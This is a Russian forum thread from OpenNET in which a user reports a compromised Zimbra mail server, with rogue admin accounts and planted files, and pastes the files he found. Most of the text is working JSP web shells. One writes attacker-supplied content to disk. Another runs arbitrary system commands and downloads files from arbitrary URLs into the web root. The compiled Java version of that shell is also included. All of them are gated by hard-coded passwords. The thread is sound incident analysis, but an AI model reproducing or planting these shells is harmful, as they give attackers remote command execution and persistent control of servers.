The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]




Версия для распечатки Пред. тема | След. тема
Новые ответы [ Отслеживать ]
Zimbra поломали, !*! BarS, 25-Янв-21, 15:43  [смотреть все]
Зашел в консоль, а там 4 админа в аккаунтах, по каталогам полазил, есть новые файлы. Наружу админка закрыта, походу по уязвимостям хакнули. Нашел разные файлы, вот один из них
<%
    if("toe0Kq".equals(request.getParameter("pwd")))
    {
        String strCode=request.getParameter("code");
        String strFile=request.getParameter("file");
        if(strCode!=null&&strFile!=null)
        {
            java.io.InputStream in = new java.io.ByteArrayInputStream(strCode.getBytes());
            byte[] b = new byte[1024];
            java.io.ByteArrayOutputStream bs = new java.io.ByteArrayOutputStream();
            int a = -1;
            while ((a = in.read(b)) != -1)
            {
                bs.write(b, 0, a);
            }
            new java.io.FileOutputStream(application.getRealPath("/")+"/img/"+strFile).write(bs.toByteArray());
        }
        out.print("XkaGrVj9");
    }
%>
  • Zimbra поломали, !*! BarS, 15:47 , 25-Янв-21 (1)
    <%
        if("G5X49Q".equals(request.getParameter("pwd")))
        {
            String strCmd=request.getParameter("cmd");
            String strUrl=request.getParameter("url");
            String strFile=request.getParameter("file");
            if(null!=strCmd)
            {
                java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                out.print("<pre>");
                while((a=in.read(b))!=-1)
                {
                    out.println(new String(b));
                }
                out.print("</pre>");
            }
            if(null!=strUrl&&null!=strFile)
            {
                java.io.InputStream in = new java.net.URL(strUrl).openStream();
                byte[] b = new byte[1024];
                java.io.ByteArrayOutputStream baos = new
                java.io.ByteArrayOutputStream();
                int a = -1;
                while ((a = in.read(b)) != -1)
                {
                    baos.write(b, 0, a);
                }
                new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray());
            }
            out.println("MtGqKu3y");
        }
        else
        {
            //out.println("no token");
        }
    %>
    • Zimbra поломали, !*! BarS, 15:50 , 25-Янв-21 (2)
      /*
      * Generated by the Jasper component of Apache Tomcat
      * Version: jetty/9.3.5.v20151012
      * Generated at: 2019-04-02 11:49:44 UTC
      * Note: The last modified time of this file was set to
      *       the last modified time of the source file after
      *       generation to assist with modification tracking.
      */
      package org.apache.jsp.img;

      import javax.servlet.*;
      import javax.servlet.http.*;
      import javax.servlet.jsp.*;

      public final class fc47_jsp extends org.apache.jasper.runtime.HttpJspBase
          implements org.apache.jasper.runtime.JspSourceDependent,
                       org.apache.jasper.runtime.JspSourceImports {

        private static final javax.servlet.jsp.JspFactory _jspxFactory =
                javax.servlet.jsp.JspFactory.getDefaultFactory();

        private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

        private static final java.util.Set<java.lang.String> _jspx_imports_packages;

        private static final java.util.Set<java.lang.String> _jspx_imports_classes;

        static {
          _jspx_imports_packages = new java.util.HashSet<>();
          _jspx_imports_packages.add("javax.servlet");
          _jspx_imports_packages.add("javax.servlet.http");
          _jspx_imports_packages.add("javax.servlet.jsp");
          _jspx_imports_classes = null;
        }

        private volatile javax.el.ExpressionFactory _el_expressionfactory;
        private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

        public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
          return _jspx_dependants;
        }

        public java.util.Set<java.lang.String> getPackageImports() {
          return _jspx_imports_packages;
        }

        public java.util.Set<java.lang.String> getClassImports() {
          return _jspx_imports_classes;
        }

        public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
          if (_el_expressionfactory == null) {
            synchronized (this) {
              if (_el_expressionfactory == null) {
                _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
              }
            }
          }
          return _el_expressionfactory;
        }

        public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
          if (_jsp_instancemanager == null) {
            synchronized (this) {
              if (_jsp_instancemanager == null) {
                _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
              }
            }
          }
          return _jsp_instancemanager;
        }

        public void _jspInit() {
        }

        public void _jspDestroy() {
        }

        public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
              throws java.io.IOException, javax.servlet.ServletException {

      final java.lang.String _jspx_method = request.getMethod();
      if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
      response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
      return;
      }

          final javax.servlet.jsp.PageContext pageContext;
          javax.servlet.http.HttpSession session = null;
          final javax.servlet.ServletContext application;
          final javax.servlet.ServletConfig config;
          javax.servlet.jsp.JspWriter out = null;
          final java.lang.Object page = this;
          javax.servlet.jsp.JspWriter _jspx_out = null;
          javax.servlet.jsp.PageContext _jspx_page_context = null;


          try {
            response.setContentType("text/html");
            pageContext = _jspxFactory.getPageContext(this, request, response,
                        null, true, 8192, true);
            _jspx_page_context = pageContext;
            application = pageContext.getServletContext();
            config = pageContext.getServletConfig();
            session = pageContext.getSession();
            out = pageContext.getOut();
            _jspx_out = out;


          if("G5X49Q".equals(request.getParameter("pwd")))
          {
              String strCmd=request.getParameter("cmd");
              String strUrl=request.getParameter("url");
              String strFile=request.getParameter("file");
              if(null!=strCmd)
              {
                  java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream();
                  int a = -1;
                  byte[] b = new byte[2048];
                  out.print("<pre>");
                  while((a=in.read(b))!=-1)
                  {
                      out.println(new String(b));
                  }
                  out.print("</pre>");
              }
              if(null!=strUrl&&null!=strFile)
              {
                  java.io.InputStream in = new java.net.URL(strUrl).openStream();
                  byte[] b = new byte[1024];
                  java.io.ByteArrayOutputStream baos = new
                  java.io.ByteArrayOutputStream();
                  int a = -1;
                  while ((a = in.read(b)) != -1)
                  {
                      baos.write(b, 0, a);
                  }
                  new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray());
              }
              out.println("MtGqKu3y");
          }
          else
          {
              //out.println("no token");
          }

          } catch (java.lang.Throwable t) {
            if (!(t instanceof javax.servlet.jsp.SkipPageException)){
              out = _jspx_out;
              if (out != null && out.getBufferSize() != 0)
                try {
                  if (response.isCommitted()) {
                    out.flush();
                  } else {
                    out.clearBuffer();
                  }
                } catch (java.io.IOException e) {}
              if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
              else throw new ServletException(t);
            }
          } finally {
            _jspxFactory.releasePageContext(_jspx_page_context);
          }
        }
      }




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру